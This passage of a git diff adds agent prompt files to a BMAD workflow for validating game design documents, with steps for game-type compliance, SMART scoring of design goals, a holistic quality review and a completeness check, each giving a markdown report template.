+- 💬 Approach: Validate declared game-type matches content, required game-type sections present
+- 🚪 This is a validation sequence step - auto-proceeds when complete
+
+## EXECUTION PROTOCOLS:
+
+- 🎯 Check classification.gameType from GDD frontmatter
+- 🎯 Validate declared game-type is a known id in game-types.csv
+- 🎯 Validate that actual GDD content matches the declared game-type (cross-check against CSV signals)
+- 🎯 Validate game-type-specific sections are present
+- 💾 Append compliance findings to validation report
+- 📖 Display "Proceeding to next check..." and load next step
+- 🚫 FORBIDDEN to pause or request user input
+
+## CONTEXT BOUNDARIES:
+
+- Available context: GDD file with frontmatter classification, validation report
+- Focus: Game-type compliance only
+- Limits: Don't validate other aspects, don't pause for user input
+- Dependencies: Steps 2-8 completed - genre and requirements validation done
+
+## MANDATORY SEQUENCE
+
+**CRITICAL:** Follow this sequence exactly. Do not skip, reorder, or improvise unless user explicitly requests a change.
+
+### 1. Load Game Types Data
+
+Load and read the complete file at:
+`{gameTypesData}` ({module_root}/workflows/2-design/gds-create-gdd/game-types.csv)
+
+This CSV is the canonical game-type taxonomy used by `gds-create-gdd`. It contains:
+
+- `id` - the canonical game-type identifier (e.g., `rpg`, `action-platformer`, `roguelike`)
+- `name` - human-readable name
+- `description` - one-line description
+- `genre_tags` - comma-separated genre tags / signals
+- `fragment_file` - the game-type-specific section fragment that gds-create-gdd injects
+
+Internalize this data - it drives what counts as a valid game-type and what content signals map to each type.
+
+### 2. Extract Game-Type Classification
+
+From GDD frontmatter, extract:
+
+- `classification.gameType` - what game-type is declared?
+
+**Common game types (from game-types.csv):**
+action-platformer, rpg, puzzle, strategy, shooter, adventure, simulation, roguelike, moba, fighting, racing, sports, survival, horror, idle-incremental, card-game, tower-defense, metroidvania, visual-novel, rhythm, turn-based-tactics, sandbox, text-based, party-game
+
+**If no gameType classification found:**
+Note "Unclassified" and proceed to infer from content in the next step.
+
+### 3. Validate Declared Game-Type Is Known
+
+**Check:**
+
+- Is the declared gameType an `id` in game-types.csv? (Yes/No)
+- If not, is it a recognizable alias for a known id? (e.g., "fps" → shooter)
+
+**If unknown game-type:**
+Flag as "Unknown game-type" - GDD should use a canonical id from game-types.csv, or propose an extension.
+
+### 4. Cross-Check Declared Game-Type Against Content
+
+**For the declared game-type:**
+
+- Load its `genre_tags` from game-types.csv
+- Scan the GDD for these tags / signals
+- Measure match strength: Strong / Moderate / Weak / None
+
+**Also scan for signals from OTHER game-types:**
+
+- Which other game-types' signals appear in the GDD?
+- If another game-type shows stronger signals than the declared one, flag a mismatch
+
+### 5. Validate Game-Type-Specific Sections
+
+**Based on the declared game-type, check for the expected game-type-specific content:**
+
+The gds-create-gdd schema injects `{{GAME_TYPE_SPECIFIC_SECTIONS}}` based on the selected game-type. Each fragment (named per game-types.csv `fragment_file`) contributes a specific block. Verify the GDD contains content appropriate to that fragment:
+
+- **action-platformer:** Movement feel values, combat specifics
+- **rpg:** Stat system details, leveling/progression curve, inventory rules
+- **puzzle:** Solution-space rules, hint system, difficulty ramp
+- **strategy:** Unit taxonomy, economy tempo, AI design
+- **shooter:** Weapon feel table, netcode model (if multiplayer), hitreg model
+- **adventure:** Narrative structure, puzzle fairness, pacing
+- **simulation:** Systems map, balance for long sessions
+- **roguelike:** Run structure, meta-progression rules, seed determinism
+- **moba:** Hero kit matrix, map/lane pacing, matchmaking
+- **fighting:** Frame data tables, netcode, input spec
+- **racing:** Vehicle handling, track design, AI driver
+- **sports:** Rule modeling, physics spec, career mode
+- **survival:** Resource economy, crafting tree, threat pacing
+- **horror:** Atmosphere design, scare pacing, resource scarcity
+- **idle-incremental:** Progression pacing, prestige model
+- **card-game:** Card-pool balance, economy, draw rules
+- **tower-defense:** Wave pacing, tower taxonomy, economy per wave
+- **metroidvania:** Gating graph, map design, upgrade pacing
+- **visual-novel:** Branching structure, flag system, save model
+- **rhythm:** Timing windows, latency calibration, chart pipeline
+- **turn-based-tactics:** Grid rules, action economy, enemy AI
+- **sandbox:** Creative tools, performance at scale, UGC pipeline
+- **text-based:** Parser vs choice, world state, save model
+- **party-game:** Minigame roster, local MP model, round pacing
+
+### 6. Attempt Sub-Process Validation
+
+"Perform game-type compliance validation for {gameType}:
+
+**Validate declared game-type is known:**
+
+- Present in game-types.csv? {yes/no}
+
+**Cross-check declared game-type against content signals:**
+
+- Content signals match declared type: {Strong/Moderate/Weak/None}
+- Signals from other game-types detected: {list}
+- Mismatch detected: {yes/no}
+
+**Check that required game-type-specific sections are present:**
+{List required sections for this game-type}
+For each: Is it present in GDD? Is it adequately documented?
+
+Build compliance table showing:
+
+- Declared game-type validity
+- Content-signal match strength
+- Required sections: [Present/Missing/Incomplete]
+
+Return compliance table with findings."
+
+**Graceful degradation (if no Task tool):**
+
+- Manually check declared game-type against game-types.csv
+- Manually scan for content signals
+- Manually check GDD for required game-type-specific sections
+- Build compliance table
+
+### 7. Build Compliance Table
+
+**Game-type declaration:**
+
+- Declared type: {value}
+- Valid per game-types.csv: {yes/no}
+
+**Content alignment:**
+
+- Match strength to declared type: {Strong/Moderate/Weak/None}
+- Other game-types with stronger signals: {list}
+
+**Required sections check:**
+
+- For each required section: Present / Missing / Incomplete
+- Count: Required sections present vs total required
+
+**Total compliance score:**
+
+- Required: {present}/{total}
+- Declaration valid: {yes/no}
+- Content aligned: {yes/no}
+
+### 8. Report Game-Type Compliance Findings to Validation Report
+
+Append to validation report:
+
+```markdown
+## Game-Type Compliance Validation
+
+**Declared Game-Type:** {gameType}
+**Valid per game-types.csv:** [Yes/No]
+**Content Alignment:** [Strong/Moderate/Weak/None]
+
+### Required Game-Type-Specific Sections
+
+**{Section 1}:** [Present/Missing/Incomplete]
+{If missing or incomplete: Note specific gaps}
+
+**{Section 2}:** [Present/Missing/Incomplete]
+{If missing or incomplete: Note specific gaps}
+
+[Continue for all required sections]
+
+### Content-Signal Analysis
+
+**Signals matching declared type:** {list/count}
+**Signals suggesting other game-types:** {list with types}
+
+### Compliance Summary
+
+**Game-Type Declaration:** {Valid/Invalid/Missing}
+**Content Alignment:** {Strong/Moderate/Weak/None}
+**Required Sections Present:** {present}/{total}
+**Compliance Score:** {percentage}%
+
+**Severity:** [Critical if game-type is invalid/missing OR content mismatch is Weak/None OR required sections missing, Warning if incomplete, Pass if complete]
+
+**Recommendation:**
+[If Critical] "GDD's game-type declaration or game-type-specific sections have significant issues. Either update the gameType to match the actual content, or add the missing game-type-specific sections from gds-create-gdd."
+[If Warning] "Some game-type-specific sections are incomplete. Strengthen documentation."
+[If Pass] "Game-type is correctly declared and required sections are present."
+```
+
+### 9. Display Progress and Auto-Proceed
+
+Display: "**Game-Type Compliance Validation Complete**
+
+Game-Type: {gameType}
+Compliance: {score}%
+
+**Proceeding to next validation check...**"
+
+Without delay, read fully and follow: {nextStepFile} (step-v-10-smart-validation.md)
+
+---
+
+## 🚨 SYSTEM SUCCESS/FAILURE METRICS
+
+### ✅ SUCCESS:
+
+- Game-type extracted correctly (or flagged missing)
+- Declared game-type validated against game-types.csv
+- Content cross-checked against declared game-type
+- Required game-type-specific sections validated
+- Compliance table built with status
+- Severity assessed correctly
+- Findings reported to validation report
+- Auto-proceeds to next validation step
+- Subprocess attempted with graceful degradation
+
+### ❌ SYSTEM FAILURE:
+
+- Not checking game-type before proceeding
+- Not loading game-types.csv
+- Missing content-signal cross-check
+- Missing required section checks
+- Not building compliance table
+- Not reporting findings to validation report
+- Not auto-proceeding
+
+**Master Rule:** The declared game-type must match the actual GDD content, and each game-type carries its own required sections. Mismatches or missing sections surface as integration problems later.
diff --git a/plugins/bmad/skills/gds-validate-gdd/steps-v/step-v-10-smart-validation.md b/plugins/bmad/skills/gds-validate-gdd/steps-v/step-v-10-smart-validation.md
new file mode 100644
index 0000000..9064e1e
--- /dev/null
+++ b/plugins/bmad/skills/gds-validate-gdd/steps-v/step-v-10-smart-validation.md
@@ -0,0 +1,224 @@
+---
+name: 'step-v-10-smart-validation'
+description: 'SMART Design-Goals Validation - Validate design goals meet SMART quality criteria'
+
+# File references (ONLY variables used in this step)
+nextStepFile: './step-v-11-holistic-quality-validation.md'
+gddFile: '{gdd_file_path}'
+validationReportPath: '{validation_report_path}'
+---
+
+# Step V-10: SMART Design-Goals Validation
+
+## STEP GOAL:
+
+Validate that design goals (success metrics, retention hooks, completion targets, win-condition definitions) meet SMART quality criteria (Specific, Measurable, Attainable, Relevant, Traceable), ensuring goals are testable rather than aspirational.
+
+## MANDATORY EXECUTION RULES (READ FIRST):
+
+### Universal Rules:
+
+- 🛑 NEVER generate content without user input
+- 📖 CRITICAL: Read the complete step file before taking any action
+- 🔄 CRITICAL: When loading next step with 'C', ensure entire file is read
+- 📋 YOU ARE A FACILITATOR, not a content generator
+- ✅ YOU MUST ALWAYS SPEAK OUTPUT In your Agent communication style with the config `{communication_language}`
+- ✅ YOU MUST ALWAYS WRITE all artifact and document content in `{document_output_language}`
+
+### Role Reinforcement:
+
+- ✅ You are a Validation Architect and Quality Assurance Specialist
+- ✅ If you already have been given communication or persona patterns, continue to use those while playing this new role
+- ✅ We engage in systematic validation, not collaborative dialogue
+- ✅ You bring design-engineering expertise and quality assessment
+- ✅ This step runs autonomously - no user input needed
+
+### Step-Specific Rules:
+
+- 🎯 Focus ONLY on design-goal quality using the SMART framework
+- 🚫 FORBIDDEN to validate other aspects in this step
+- 💬 Approach: Score each design goal on SMART criteria (1-5 scale)
+- 🚪 This is a validation sequence step - auto-proceeds when complete
+
+## EXECUTION PROTOCOLS:
+
+- 🎯 Extract all design goals from GDD (Success Metrics, design pillars outcomes, retention hooks, win conditions)
+- 🎯 Score each on SMART criteria (Specific, Measurable, Attainable, Relevant, Traceable)
+- 💾 Flag goals with score < 3 in any category
+- 📖 Append scoring table and suggestions to validation report
+- 📖 Display "Proceeding to next check..." and load next step
+- 🚫 FORBIDDEN to pause or request user input
+
+## CONTEXT BOUNDARIES:
+
+- Available context: GDD file, validation report
+- Focus: Design-goal quality assessment only using SMART framework
+- Limits: Don't re-validate mechanics or other aspects, don't pause for user input
+- Dependencies: Steps 2-9 completed - comprehensive validation checks done
+
+## MANDATORY SEQUENCE
+
+**CRITICAL:** Follow this sequence exactly. Do not skip, reorder, or improvise unless user explicitly requests a change.
+
+### 1. Extract All Design Goals
+
+From the GDD, extract all design goals:
+
+- Success Metrics entries (Technical Metrics + Gameplay Metrics)
+- Retention hooks or engagement targets
+- Completion-rate targets
+- Win-condition definitions tied to measurable outcomes
+- Any explicit design goals from Goals and Context
+
+Identify each goal with a stable handle (DG-001, DG-002, etc. if none exist) and count total.
+
+### 2. Attempt Sub-Process Validation
+
+**Try to use Task tool to spawn a subprocess:**
+
+"Perform SMART validation on these design goals:
+
+{List all design goals}
+
+**For each design goal, score on SMART criteria (1-5 scale):**
+
+**Specific (1-5):**
+
+- 5: Clear, unambiguous target (e.g., 'Act 1 completion rate ≥ 60%')
+- 3: Somewhat clear but could be more specific
+- 1: Vague or aspirational (e.g., 'players enjoy the game')
+
+**Measurable (1-5):**
+
+- 5: Concrete metric with measurement method (telemetry, playtest, profiler)
+- 3: Partially measurable (metric named but method unclear)
+- 1: Not measurable, subjective
+
+**Attainable (1-5):**
+
+- 5: Realistic for team, genre, and target platform
+- 3: Probably achievable but uncertain
+- 1: Unrealistic (e.g., 'retention equal to live-service AAA')
+
+**Relevant (1-5):**
+
+- 5: Clearly ties to a pillar or the core fantasy
+- 3: Somewhat relevant but link unclear
+- 1: Not relevant, doesn't align with pillars
+
+**Traceable (1-5):**
+
+- 5: Clearly traces to a pillar, player experience goal, or business objective
+- 3: Partially traceable
+- 1: Orphan goal, no clear source
+
+**For each goal with score < 3 in any category:**
+
+- Provide specific improvement suggestions
+
+Return scoring table with all goal scores and improvement suggestions for low-scoring entries."
+
+**Graceful degradation (if no Task tool):**
+
+- Manually score each design goal on SMART criteria
+- Note goals with low scores
+- Provide improvement suggestions
+
+### 3. Build Scoring Table
+
+For each design goal:
+
+- Goal handle
+- Specific score (1-5)
+- Measurable score (1-5)
+- Attainable score (1-5)
+- Relevant score (1-5)
+- Traceable score (1-5)
+- Average score
+- Flag if any category < 3
+
+**Calculate overall design-goal quality:**
+
+- Percentage of goals with all scores ≥ 3
+- Percentage of goals with all scores ≥ 4
+- Average score across all goals and categories
+
+### 4. Report SMART Findings to Validation Report
+
+Append to validation report:
+
+```markdown
+## SMART Design-Goals Validation
+
+**Total Design Goals:** {count}
+
+### Scoring Summary
+
+**All scores ≥ 3:** {percentage}% ({count}/{total})
+**All scores ≥ 4:** {percentage}% ({count}/{total})
+**Overall Average Score:** {average}/5.0
+
+### Scoring Table
+
+| Goal # | Specific | Measurable | Attainable | Relevant | Traceable | Average | Flag |
+|--------|----------|------------|------------|----------|-----------|---------|------|
+| DG-001 | {s1} | {m1} | {a1} | {r1} | {t1} | {avg1} | {X if any <3} |
+| DG-002 | {s2} | {m2} | {a2} | {r2} | {t2} | {avg2} | {X if any <3} |
+[Continue for all goals]
+
+**Legend:** 1=Poor, 3=Acceptable, 5=Excellent
+**Flag:** X = Score < 3 in one or more categories
+
+### Improvement Suggestions
+
+**Low-Scoring Goals:**
+
+**DG-{number}:** {specific suggestion for improvement}
+[For each goal with score < 3 in any category]
+
+### Overall Assessment
+
+**Severity:** [Critical if >30% flagged goals, Warning if 10-30%, Pass if <10%]
+
+**Recommendation:**
+[If Critical] "Many design goals are aspirational rather than testable. A goal without numbers and a measurement method is a wish. Revise flagged goals using the SMART framework."
+[If Warning] "Some design goals would benefit from SMART refinement. Focus on flagged goals above."
+[If Pass] "Design goals demonstrate good SMART quality overall."
+```
+
+### 5. Display Progress and Auto-Proceed
+
+Display: "**SMART Design-Goals Validation Complete**
+
+Design-Goal Quality: {percentage}% with acceptable scores ({severity})
+
+**Proceeding to next validation check...**"
+
+Without delay, read fully and follow: {nextStepFile} (step-v-11-holistic-quality-validation.md)
+
+---
+
+## 🚨 SYSTEM SUCCESS/FAILURE METRICS
+
+### ✅ SUCCESS:
+
+- All design goals extracted from GDD
+- Each goal scored on all 5 SMART criteria (1-5 scale)
+- Goals with scores < 3 flagged for improvement
+- Improvement suggestions provided for low-scoring goals
+- Scoring table built with all scores
+- Overall quality assessment calculated
+- Findings reported to validation report
+- Auto-proceeds to next validation step
+- Subprocess attempted with graceful degradation
+
+### ❌ SYSTEM FAILURE:
+
+- Not scoring all design goals on all SMART criteria
+- Missing improvement suggestions for low-scoring goals
+- Not building scoring table
+- Not calculating overall quality metrics
+- Not reporting findings to validation report
+- Not auto-proceeding
+
+**Master Rule:** Design goals should be testable, not aspirational. The SMART framework provides an objective quality measure for design intent.
diff --git a/plugins/bmad/skills/gds-validate-gdd/steps-v/step-v-11-holistic-quality-validation.md b/plugins/bmad/skills/gds-validate-gdd/steps-v/step-v-11-holistic-quality-validation.md
new file mode 100644
index 0000000..f64dc7a
--- /dev/null
+++ b/plugins/bmad/skills/gds-validate-gdd/steps-v/step-v-11-holistic-quality-validation.md
@@ -0,0 +1,278 @@
+---
+name: 'step-v-11-holistic-quality-validation'
+description: 'Holistic Quality Assessment - Assess the GDD as a cohesive, compelling design document'
+
+# File references (ONLY variables used in this step)
+nextStepFile: './step-v-12-completeness-validation.md'
+gddFile: '{gdd_file_path}'
+validationReportPath: '{validation_report_path}'
+advancedElicitationTask: 'skill:bmad-advanced-elicitation'
+---
+
+# Step V-11: Holistic Quality Assessment
+
+## STEP GOAL:
+
+Assess the GDD as a cohesive, compelling design document - evaluating document flow, dual-audience effectiveness (game designers and LLMs), BMAD GDD principles compliance, and overall quality rating.
+
+## MANDATORY EXECUTION RULES (READ FIRST):
+
+### Universal Rules:
+
+- 🛑 NEVER generate content without user input
+- 📖 CRITICAL: Read the complete step file before taking any action
+- 🔄 CRITICAL: When loading next step with 'C', ensure entire file is read
+- 📋 YOU ARE A FACILITATOR, not a content generator
+- ✅ YOU MUST ALWAYS SPEAK OUTPUT In your Agent communication style with the config `{communication_language}`
+- ✅ YOU MUST ALWAYS WRITE all artifact and document content in `{document_output_language}`
+
+### Role Reinforcement:
+
+- ✅ You are a Validation Architect and Quality Assurance Specialist
+- ✅ If you already have been given communication or persona patterns, continue to use those while playing this new role
+- ✅ We engage in systematic validation, not collaborative dialogue
+- ✅ You bring analytical rigor and document-quality expertise
+- ✅ This step runs autonomously - no user input needed
+- ✅ Uses Advanced Elicitation for multi-perspective evaluation
+
+### Step-Specific Rules:
+
+- 🎯 Focus ONLY on holistic document quality assessment
+- 🚫 FORBIDDEN to validate individual components (done in previous steps)
+- 💬 Approach: Multi-perspective evaluation using Advanced Elicitation
+- 🚪 This is a validation sequence step - auto-proceeds when complete
+
+## EXECUTION PROTOCOLS:
+
+- 🎯 Use Advanced Elicitation for multi-perspective assessment
+- 🎯 Evaluate document flow, dual audience, BMAD GDD principles
+- 💾 Append comprehensive assessment to validation report
+- 📖 Display "Proceeding to next check..." and load next step
+- 🚫 FORBIDDEN to pause or request user input
+
+## CONTEXT BOUNDARIES:
+
+- Available context: Complete GDD file, validation report with findings from steps 1-10
+- Focus: Holistic quality - the WHOLE document
+- Limits: Don't re-validate individual components, don't pause for user input
+- Dependencies: Steps 1-10 completed - all systematic checks done
+
+## MANDATORY SEQUENCE
+
+**CRITICAL:** Follow this sequence exactly. Do not skip, reorder, or improvise unless user explicitly requests a change.
+
+### 1. Attempt Sub-Process with Advanced Elicitation
+
+**Try to use Task tool to spawn a subprocess using Advanced Elicitation:**
+
+"Perform holistic quality assessment on this GDD using multi-perspective evaluation:
+
+**Read fully and follow the Advanced Elicitation workflow:**
+{advancedElicitationTask}
+
+**Evaluate the GDD from these perspectives:**
+
+**1. Document Flow & Coherence:**
+
+- Read entire GDD
+- Evaluate narrative flow - does it tell a cohesive design story?
+- Check transitions from vision → pillars → loop → mechanics → epics
+- Assess consistency - is the game clear and coherent throughout?
+- Evaluate readability - is it clear and well-organized for both designers and engineers?
+
+**2. Dual Audience Effectiveness:**
+
+**For Humans:**
+
+- Producer / lead clarity: Can leads understand pillars and scope quickly?
+- Designer clarity: Do designers have clear mechanics to iterate on?
+- Engineer clarity: Do engineers understand what they need to build?
+- Playtest / QA clarity: Can QA see what the game is and what success looks like?
+
+**For LLMs:**
+
+- Machine-readable structure: Is the GDD structured for LLM consumption?
+- Architecture readiness: Can an LLM generate an architecture from this?
+- Epic/Story readiness: Can an LLM break this into epics and stories?
+- Playtest-plan readiness: Can an LLM produce a playtest plan from this?
+
+**3. BMAD GDD Principles Compliance:**
+
+- Information density: Every sentence carries design weight?
+- Measurability: Mechanics, goals, tech specs testable with numbers?
+- Traceability: Mechanics trace to pillars, epics trace to mechanics?
+- Genre awareness: Genre-specific sections included?
+- Zero anti-patterns: No pitch-deck language or engine leakage?
+- Dual audience: Works for both designers and LLMs?
+- Markdown format: Proper structure and formatting?
+
+**4. Overall Quality Rating:**
+Rate the GDD on 5-point scale:
+
+- Excellent (5/5): Exemplary, ready for architecture and production
+- Good (4/5): Strong with minor improvements needed
+- Adequate (3/5): Acceptable but needs refinement
+- Needs Work (2/5): Significant gaps or issues
+- Problematic (1/5): Major flaws, needs substantial revision
+
+**5. Top 3 Improvements:**
+Identify the 3 most impactful improvements to make this a great GDD
+
+Return comprehensive assessment with all perspectives, rating, and top 3 improvements."
+
+**Graceful degradation (if no Task tool or Advanced Elicitation unavailable):**
+
+- Perform holistic assessment directly in current context
+- Read complete GDD
+- Evaluate document flow, coherence, transitions
+- Assess dual audience effectiveness
+- Check BMAD GDD principles compliance
+- Assign overall quality rating
+- Identify top 3 improvements
+
+### 2. Synthesize Assessment
+
+**Compile findings from multi-perspective evaluation:**
+
+**Document Flow & Coherence:**
+
+- Overall assessment: [Excellent/Good/Adequate/Needs Work/Problematic]
+- Key strengths: [list]
+- Key weaknesses: [list]
+
+**Dual Audience Effectiveness:**
+
+- For Humans: [assessment]
+- For LLMs: [assessment]
+- Overall dual audience score: [1-5]
+
+**BMAD GDD Principles Compliance:**
+
+- Principles met: [count]/7
+- Principles with issues: [list]
+
+**Overall Quality Rating:** [1-5 with label]
+
+**Top 3 Improvements:**
+
+1. [Improvement 1]
+2. [Improvement 2]
+3. [Improvement 3]
+
+### 3. Report Holistic Quality Findings to Validation Report
+
+Append to validation report:
+
+```markdown
+## Holistic Quality Assessment
+
+### Document Flow & Coherence
+
+**Assessment:** [Excellent/Good/Adequate/Needs Work/Problematic]
+
+**Strengths:**
+{List key strengths}
+
+**Areas for Improvement:**
+{List key weaknesses}
+
+### Dual Audience Effectiveness
+
+**For Humans (Designers, Producers, Engineers, QA):**
+
+- Producer / lead clarity: [assessment]
+- Designer clarity: [assessment]
+- Engineer clarity: [assessment]
+- Playtest / QA clarity: [assessment]
+
+**For LLMs:**
+
+- Machine-readable structure: [assessment]
+- Architecture readiness: [assessment]
+- Epic/Story readiness: [assessment]
+- Playtest-plan readiness: [assessment]
+
+**Dual Audience Score:** {score}/5
+
+### BMAD GDD Principles Compliance
+
+| Principle | Status | Notes |
+|-----------|--------|-------|
+| Information Density | [Met/Partial/Not Met] | {notes} |
+| Measurability | [Met/Partial/Not Met] | {notes} |
+| Traceability | [Met/Partial/Not Met] | {notes} |
+| Genre Awareness | [Met/Partial/Not Met] | {notes} |
+| Zero Anti-Patterns | [Met/Partial/Not Met] | {notes} |
+| Dual Audience | [Met/Partial/Not Met] | {notes} |
+| Markdown Format | [Met/Partial/Not Met] | {notes} |
+
+**Principles Met:** {count}/7
+
+### Overall Quality Rating
+
+**Rating:** {rating}/5 - {label}
+
+**Scale:**
+
+- 5/5 - Excellent: Exemplary, ready for architecture and production
+- 4/5 - Good: Strong with minor improvements needed
+- 3/5 - Adequate: Acceptable but needs refinement
+- 2/5 - Needs Work: Significant gaps or issues
+- 1/5 - Problematic: Major flaws, needs substantial revision
+
+### Top 3 Improvements
+
+1. **{Improvement 1}**
+   {Brief explanation of why and how}
+
+2. **{Improvement 2}**
+   {Brief explanation of why and how}
+
+3. **{Improvement 3}**
+   {Brief explanation of why and how}
+
+### Summary
+
+**This GDD is:** {one-sentence overall assessment}
+
+**To make it great:** Focus on the top 3 improvements above.
+```
+
+### 4. Display Progress and Auto-Proceed
+
+Display: "**Holistic Quality Assessment Complete**
+
+Overall Rating: {rating}/5 - {label}
+
+**Proceeding to final validation checks...**"
+
+Without delay, read fully and follow: {nextStepFile} (step-v-12-completeness-validation.md)
+
+---
+
+## 🚨 SYSTEM SUCCESS/FAILURE METRICS
+
+### ✅ SUCCESS:
+
+- Advanced Elicitation used for multi-perspective evaluation (or graceful degradation)
+- Document flow & coherence assessed
+- Dual audience effectiveness evaluated (humans and LLMs)
+- BMAD GDD principles compliance checked
+- Overall quality rating assigned (1-5 scale)
+- Top 3 improvements identified
+- Comprehensive assessment reported to validation report
+- Auto-proceeds to next validation step
+- Subprocess attempted with graceful degradation
+
+### ❌ SYSTEM FAILURE:
+
+- Not using Advanced Elicitation for multi-perspective evaluation
+- Missing document flow assessment
+- Missing dual audience evaluation
+- Not checking all BMAD GDD principles
+- Not assigning overall quality rating
+- Missing top 3 improvements
+- Not reporting comprehensive assessment to validation report
+- Not auto-proceeding
+
+**Master Rule:** This evaluates the WHOLE document, not just components. Answers "Is this a good GDD?" and "What would make it great?"
diff --git a/plugins/bmad/skills/gds-validate-gdd/steps-v/step-v-12-completeness-validation.md b/plugins/bmad/skills/gds-validate-gdd/steps-v/step-v-12-completeness-validation.md
new file mode 100644
index 0000000..ad4e6c6
--- /dev/null
+++ b/plugins/bmad/skills/gds-validate-gdd/steps-v/step-v-12-completeness-validation.md
@@ -0,0 +1,291 @@
+---
+name: 'step-v-12-completeness-validation'
+description: 'Completeness Check - Final comprehensive completeness check before report generation'
+
+# File references (ONLY variables used in this step)
+nextStepFile: './step-v-13-report-complete.md'
+gddFile: '{gdd_file_path}'
+gddFrontmatter: '{gdd_frontmatter}'
+validationReportPath: '{validation_report_path}'
+---
+
+# Step V-12: Completeness Validation
+
+## STEP GOAL:
+
+Final comprehensive completeness check - validate no template variables remain, each section has required content, section-specific completeness is met, and frontmatter is properly populated.
+
+## MANDATORY EXECUTION RULES (READ FIRST):
+
+### Universal Rules:
+
+- 🛑 NEVER generate content without user input
+- 📖 CRITICAL: Read the complete step file before taking any action
+- 🔄 CRITICAL: When loading next step with 'C', ensure entire file is read
+- 📋 YOU ARE A FACILITATOR, not a content generator
+- ✅ YOU MUST ALWAYS SPEAK OUTPUT In your Agent communication style with the config `{communication_language}`
+- ✅ YOU MUST ALWAYS WRITE all artifact and document content in `{document_output_language}`
+
+### Role Reinforcement:
+
+- ✅ You are a Validation Architect and Quality Assurance Specialist
+- ✅ If you already have been given communication or persona patterns, continue to use those while playing this new role
+- ✅ We engage in systematic validation, not collaborative dialogue
+- ✅ You bring attention to detail and completeness verification
+- ✅ This step runs autonomously - no user input needed
+
+### Step-Specific Rules:
+
+- 🎯 Focus ONLY on completeness verification
+- 🚫 FORBIDDEN to validate quality (done in step 11) or other aspects
+- 💬 Approach: Systematic checklist-style verification
+- 🚪 This is a validation sequence step - auto-proceeds when complete
+
+## EXECUTION PROTOCOLS:
+
+- 🎯 Check template completeness (no variables remaining)
+- 🎯 Validate content completeness (each section has required content)
+- 🎯 Validate section-specific completeness
+- 🎯 Validate frontmatter completeness
+- 💾 Append completeness matrix to validation report
+- 📖 Display "Proceeding to final step..." and load next step
+- 🚫 FORBIDDEN to pause or request user input
+
+## CONTEXT BOUNDARIES:
+
+- Available context: Complete GDD file, frontmatter, validation report
+- Focus: Completeness verification only (final gate)
+- Limits: Don't assess quality, don't pause for user input
+- Dependencies: Steps 1-11 completed - all validation checks done
+
+## MANDATORY SEQUENCE
+
+**CRITICAL:** Follow this sequence exactly. Do not skip, reorder, or improvise unless user explicitly requests a change.
+
+### 1. Attempt Sub-Process Validation
+
+**Try to use Task tool to spawn a subprocess:**
+
+"Perform completeness validation on this GDD - final gate check:
+
+**1. Template Completeness:**
+
+- Scan GDD for any remaining template variables
+- Look for: {variable}, {{variable}}, {placeholder}, [placeholder], and any unfilled `{{GAME_TYPE_SPECIFIC_SECTIONS}}` token
+- List any found with line numbers
+
+**2. Content Completeness:**
+
+- Executive Summary: Core concept, target audience, USPs present?
+- Goals and Context: Goals and background present?
+- Core Gameplay: Pillars, core loop, win/loss conditions present?
+- Game Mechanics: Primary mechanics and controls present?
+- Progression and Balance: Progression, difficulty, economy present?
+- Level Design Framework: Level types and progression present?
+- Art and Audio Direction: Art style and audio approach present?
+- Technical Specifications: Performance targets and platform specs present?
+- Development Epics: High-level epics present?
+- Success Metrics: Technical and gameplay metrics present?
+- Out of Scope: Explicit exclusions present?
+- Assumptions and Dependencies: Listed?
+
+For each section: Is required content present? (Yes/No/Partial)
+
+**3. Section-Specific Completeness:**
+
+- Game Pillars: At least 3 distinct pillars?
+- Core Gameplay Loop: Each loop step documented?
+- Mechanics: Each primary mechanic has concrete values?
+- Success Metrics: Each has a target value and measurement method?
+- Epics: Each epic has scope and high-level stories?
+
+**4. Frontmatter Completeness:**
+
+- stepsCompleted: Populated?
+- classification: Present (gameType, platforms, genreComplexity)?
+- inputDocuments: Tracked?
+- date: Present?
+
+Return completeness matrix with status for each check."
+
+**Graceful degradation (if no Task tool):**
+
+- Manually scan for template variables
+- Manually check each section for required content
+- Manually verify frontmatter fields
+- Build completeness matrix
+
+### 2. Build Completeness Matrix
+
+**Template Completeness:**
+
+- Template variables found: count
+- List if any found (including unfilled `{{GAME_TYPE_SPECIFIC_SECTIONS}}`)
+
+**Content Completeness by Section:**
+
+- Executive Summary: Complete / Incomplete / Missing
+- Goals and Context: Complete / Incomplete / Missing
+- Core Gameplay: Complete / Incomplete / Missing
+- Game Mechanics: Complete / Incomplete / Missing
+- Progression and Balance: Complete / Incomplete / Missing
+- Level Design Framework: Complete / Incomplete / Missing
+- Art and Audio Direction: Complete / Incomplete / Missing
+- Technical Specifications: Complete / Incomplete / Missing
+- Development Epics: Complete / Incomplete / Missing
+- Success Metrics: Complete / Incomplete / Missing
+- Out of Scope: Complete / Incomplete / Missing
+- Assumptions and Dependencies: Complete / Incomplete / Missing
+
+**Section-Specific Completeness:**
+
+- Pillars: ≥3 distinct pillars / <3 / none
+- Core loop: Each step documented / Partial / Missing
+- Mechanics: Each has concrete values / Some do / None do
+- Success Metrics: All have targets+methods / Some do / None do
+- Epics: All have scope+stories / Some do / None do
+
+**Frontmatter Completeness:**
+
+- stepsCompleted: Present / Missing
+- classification.gameType: Present / Missing
+- classification.platforms: Present / Missing
+- classification.genreComplexity: Present / Missing
+- inputDocuments: Present / Missing
+- date: Present / Missing
+
+**Overall completeness:**
+
+- Sections complete: X/Y
+- Critical gaps: [list if any]
+
+### 3. Report Completeness Findings to Validation Report
+
+Append to validation report:
+
+```markdown
+## Completeness Validation
+
+### Template Completeness
+
+**Template Variables Found:** {count}
+{If count > 0, list variables with line numbers}
+{If count = 0, note: No template variables remaining ✓}
+
+### Content Completeness by Section
+
+**Executive Summary:** [Complete/Incomplete/Missing]
+{If incomplete or missing, note specific gaps}
+
+**Goals and Context:** [Complete/Incomplete/Missing]
+{If incomplete or missing, note specific gaps}
+
+**Core Gameplay:** [Complete/Incomplete/Missing]
+{If incomplete or missing, note specific gaps}
+
+**Game Mechanics:** [Complete/Incomplete/Missing]
+{If incomplete or missing, note specific gaps}
+
+**Progression and Balance:** [Complete/Incomplete/Missing]
+{If incomplete or missing, note specific gaps}
+
+**Level Design Framework:** [Complete/Incomplete/Missing]
+{If incomplete or missing, note specific gaps}
+
+**Art and Audio Direction:** [Complete/Incomplete/Missing]
+{If incomplete or missing, note specific gaps}
+
+**Technical Specifications:** [Complete/Incomplete/Missing]
+{If incomplete or missing, note specific gaps}
+
+**Development Epics:** [Complete/Incomplete/Missing]
+{If incomplete or missing, note specific gaps}
+
